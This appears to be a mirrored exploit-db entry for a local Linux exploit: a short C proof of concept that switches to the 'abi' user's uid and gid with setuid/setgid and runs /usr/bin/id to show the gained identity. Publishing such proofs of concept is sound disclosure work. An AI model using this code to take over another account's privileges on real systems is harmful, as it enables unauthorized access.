exploit-db-mirror/exploits/linux/local/30839.c
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

24 lines
No EOL
496 B
C

#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>
int main()
{
struct passwd *pw;
pw = getpwnam("abi");
FILE *pipe;
char buf[25];
setgid(pw->pw_gid);
setuid(pw->pw_uid);
printf("my gid: %d\n", getegid());
printf("my uid: %d\n", getuid());
pipe = popen("/usr/bin/id", "r");
while (fgets(buf, sizeof buf, pipe)) {
printf("%s", buf);
}
printf("\n");
pclose(pipe);
}